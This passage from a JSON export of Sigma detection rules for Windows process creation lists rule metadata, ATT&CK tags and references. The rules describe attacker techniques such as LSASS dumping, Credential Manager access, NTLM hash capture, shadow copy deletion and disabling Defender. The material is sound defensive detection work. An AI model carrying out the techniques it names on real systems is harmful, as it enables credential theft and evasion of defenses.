Forwarding" }, { "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_electron_app_children.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://taggart-tech.com/quasar-electron/", "https://github.com/mttaggart/quasar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" ], "tags": [ "attack.execution" ] }, "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", "value": "Suspicious Electron Application Child Processes" }, { "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", "meta": { "author": "frack113", "creation_date": "2022/02/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_tor_browser.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" ], "tags": [ "attack.command_and_control", "attack.t1090.003" ] }, "related": [ { "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", "value": "Tor Client or Tor Browser Use" }, { "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", "meta": { "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", "creation_date": "2020/02/18", "falsepositive": [ "Unlikely, because no one should dump the process memory in that way" ], "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", "https://twitter.com/shantanukhande/status/1229348874298388484", "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", "https://twitter.com/SBousseaden/status/1167417096374050817", "https://twitter.com/Hexacorn/status/1224848930795552769", "https://twitter.com/Wietze/status/1542107456507203586", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" ], "tags": [ "attack.defense_evasion", "attack.credential_access", "attack.t1036", "attack.t1003.001", "car.2013-05-009" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", "value": "Process Dump via Rundll32 and Comsvcs.dll" }, { "description": "Detects changes to environment variables related to ETW logging. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_etw_modification_cmdline.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", "https://twitter.com/_xpn_/status/1268712093928378368", "http://managed670.rssing.com/chan-5590147/all_p1.html", "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41421f44-58f9-455d-838a-c398859841d4", "value": "ETW Logging Tamper In .NET Processes" }, { "description": "Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_inline_win_api_access.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/m417z/status/1566674631788007425", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" ], "tags": [ "attack.execution", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", "value": "Potential WinAPI Calls Via CommandLine" }, { "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", "meta": { "author": "Florian Roth", "creation_date": "2022/02/23", "falsepositive": [ "Software installers that run from temporary folders and also install scheduled tasks" ], "filename": "proc_creation_win_susp_schtasks_parent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9494479d-d994-40bf-a8b1-eea890237021", "value": "Suspicious Add Scheduled Task Parent" }, { "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", "meta": { "author": "Olaf Hartong", "creation_date": "2019/05/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_win10_sched_task_0day.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1053.005", "car.2013-08-001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", "value": "Windows 10 Scheduled Task SandboxEscaper 0-day" }, { "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", "meta": { "author": "David Burkett, Florian Roth", "creation_date": "2019/12/28", "falsepositive": [ "Rare System Admin Activity" ], "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" ], "tags": [ "attack.discovery", "attack.t1482" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", "value": "Trickbot Malware Recon Activity" }, { "description": "Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.", "meta": { "author": "frack113", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "proc_creation_win_frombase64string_archive.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frombase64string_archive.yml" ], "tags": "No established tags" }, "uuid": "d75d6b6b-adb9-48f7-824b-ac2e786efe1f", "value": "Suspicious FromBase64String Usage On Gzip Archive - Process Creation" }, { "description": "Detects the use of RunXCmd tool for command execution", "meta": { "author": "Florian Roth", "creation_date": "2022/01/24", "falsepositive": [ "Legitimate use by administrators" ], "filename": "proc_creation_win_tool_runx_as_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.d7xtech.com/free-software/runx/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "93199800-b52a-4dec-b762-75212c196542", "value": "RunXCmd Tool Execution As System" }, { "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", "meta": { "author": "Agro (@agro_sev), Ensar Şamil (@sblmsrsn), oscd.community", "creation_date": "2020/10/14", "falsepositive": [ "The process spawned by vsjitdebugger.exe is uncommon." ], "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/990758590020452353", "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" ], "tags": [ "attack.t1218", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", "value": "Malicious PE Execution by Microsoft Visual Studio Debugger" }, { "description": "Detects command line parameters used by Koadic hack tool", "meta": { "author": "wagga, Jonhnathan Ribeiro, oscd.community", "creation_date": "2020/01/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hack_koadic.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" ], "tags": [ "attack.execution", "attack.t1059.003", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", "value": "Koadic Execution" }, { "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", "meta": { "author": "frack113", "creation_date": "2022/01/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_iis_http_logging.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", "value": "Disable Windows IIS HTTP Logging" }, { "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2021/12/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_where_execution.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" ], "tags": [ "attack.discovery", "attack.t1217" ] }, "related": [ { "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", "value": "Suspicious Where Execution" }, { "description": "Detects a suspicious curl process start on Windows with set useragent options", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" ], "filename": "proc_creation_win_susp_curl_useragent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://curl.se/docs/manpage.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", "value": "Suspicious Curl Change User Agents" }, { "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", "meta": { "author": "frack113", "creation_date": "2022/04/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_vaultcmd.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" ], "tags": [ "attack.credential_access", "attack.t1555.004" ] }, "related": [ { "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", "value": "Windows Credential Manager Access via VaultCmd" }, { "description": "Detects usage of the wevtutil utility to perform reconnaissance", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Legitmate usage of the utility by administrators to query the event log" ], "filename": "proc_creation_win_wevtutil_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", "value": "Wevtutil Recon" }, { "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", "meta": { "author": "MSTIC, FPT.EagleEye", "creation_date": "2021/06/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_sourgrum.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" ], "tags": [ "attack.t1546", "attack.t1546.015", "attack.persistence", "attack.privilege_escalation" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", "value": "SOURGUM Actor Behaviours" }, { "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", "value": "Deletion of Volume Shadow Copies via WMI with PowerShell" }, { "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_rpcping.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/vysecurity/status/974806438316072960", "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", "https://twitter.com/vysecurity/status/873181705024266241", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", "value": "Capture Credentials with Rpcping.exe" }, { "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", "meta": { "author": "Florian Roth", "creation_date": "2022/09/20", "falsepositive": [ "Command lines that use the same flags" ], "filename": "proc_creation_win_susp_renamed_createdump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://twitter.com/bopin2020/status/1366400799199272960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", "value": "Renamed CreateDump Process Dump" }, { "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", "meta": { "author": "frack113", "creation_date": "2021/07/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.t1216" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code" }, { "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", "meta": { "author": "Florian Roth", "creation_date": "2022/09/13", "falsepositive": [ "Some false positives may occure with other tools with similar commandlines" ], "filename": "proc_creation_win_chisel_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/", "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", "https://github.com/jpillora/chisel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1090.001" ] }, "related": [ { "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", "value": "Chisel Tunneling Tool Usage" }, { "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", "meta": { "author": "Florian Roth", "creation_date": "2021/07/24", "falsepositive": [ "Legitimate use of the impacket tools" ], "filename": "proc_creation_win_impacket_compiled_tools.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" ], "tags": [ "attack.execution", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", "value": "Impacket Tool Execution" }, { "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_reg_service_imagepath_change.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" ], "tags": [ "attack.persistence", "attack.t1574.011" ] }, "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", "value": "Service ImagePath Change with Reg.exe" }, { "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", "meta": { "author": "Konstantin Grishchenko, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" ], "filename": "proc_creation_win_susp_vboxdrvinst.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/993497996179492864", "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", "value": "Suspicious VBoxDrvInst.exe Parameters" }, { "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" ], "tags": [ "attack.exfiltration", "attack.t1567" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", "value": "Suspicious ConfigSecurityPolicy Execution" }, { "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", "meta": { "author": "Florian Roth", "creation_date": "2022/02/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=Ie831jF0bb0", "https://twitter.com/_xpn_/status/1491557187168178176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011", "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", "value": "Process Access via TrolleyExpress Exclusion" }, { "description": "Detects attackers attempting to disable Windows Defender using Powershell", "meta": { "author": "ok @securonix invrep-de, oscd.community, frack113", "creation_date": "2020/10/12", "falsepositive": [ "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." ], "filename": "proc_creation_win_disable_defender_av_security_monitoring.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_defender_av_security_monitoring.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", "value": "Disable Windows Defender AV Security Monitoring" }, { "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate use of fodhelper.exe utility by legitimate 